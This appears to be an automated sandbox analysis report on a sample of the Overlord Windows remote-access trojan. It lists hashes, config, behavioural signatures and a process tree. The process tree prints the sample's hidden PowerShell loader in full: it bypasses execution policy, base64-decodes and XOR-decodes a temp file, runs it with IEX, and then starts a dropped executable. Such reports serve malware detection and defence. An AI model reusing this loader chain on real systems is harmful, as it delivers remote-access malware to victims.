Analysis
- max time kernel
150s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
19/07/2026, 23:46
General
- Target overlord-setup.exe
- Size 4.1MB
- Sample260719-3sshssgx8p
- SHA256 416ddba66463daaf40101de6c9f6ee030f7895d544348c33ea315f48d69b9f82
Malware Config
Extracted
-
overlord
-
wss://localhost:5173
Signatures
- Family: Overlord
Overlord is an open-source Windows RAT written in Golang.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 1 IoCs
- UPX packed file 3 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\overlord-setup.exe"C:\Users\Admin\AppData\Local\Temp\overlord-setup.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_t4204\r.bat"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout /t 3 /nobreak3⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowSt Hidden -NoP -ExecutionPolicy Bypass -Command "$gtin=-join([IO.File]::ReadAllLines($env:TEMP+'\pcrcmbd.log'));Remove-Item($env:TEMP+'\pcrcmbd.log') -Force -EA 0;$wfe=[Convert]::FromBase64String($gtin);for($af=0;$af -lt $wfe.Length;$af++){$wfe[$af]=$wfe[$af]-bxor 223};$xhbtj=[Text.Encoding]::UTF8.GetString($wfe);IEX $xhbtj"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\ecfghiisik.exe"C:\Users\Admin\AppData\Local\Temp\ecfghiisik.exe"4⤵
- Executes dropped EXE
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
r.bat
ecfghiisik.exe
pcrcmbd.log
pcrcmbd.log
memory/4204-1581-0x00007FF75ACC0000-0x00007FF75B2F3000-memory.dmp
memory/4204-1552-0x00007FF75ACC0000-0x00007FF75B2F3000-memory.dmp
memory/4204-0-0x00007FF75ACC0000-0x00007FF75B2F3000-memory.dmp
memory/5012-1551-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1558-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1544-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1540-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1545-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1542-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1546-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1547-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1548-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1549-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1550-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1539-0x000001E489700000-0x000001E489722000-memory.dmp
memory/5012-1538-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1555-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1557-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1541-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1559-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1560-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1561-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1562-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1563-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1564-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1565-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1566-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1567-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1568-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1569-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1535-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1580-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5012-1534-0x00007FF8B90BF000-0x00007FF8B90C0000-memory.dmp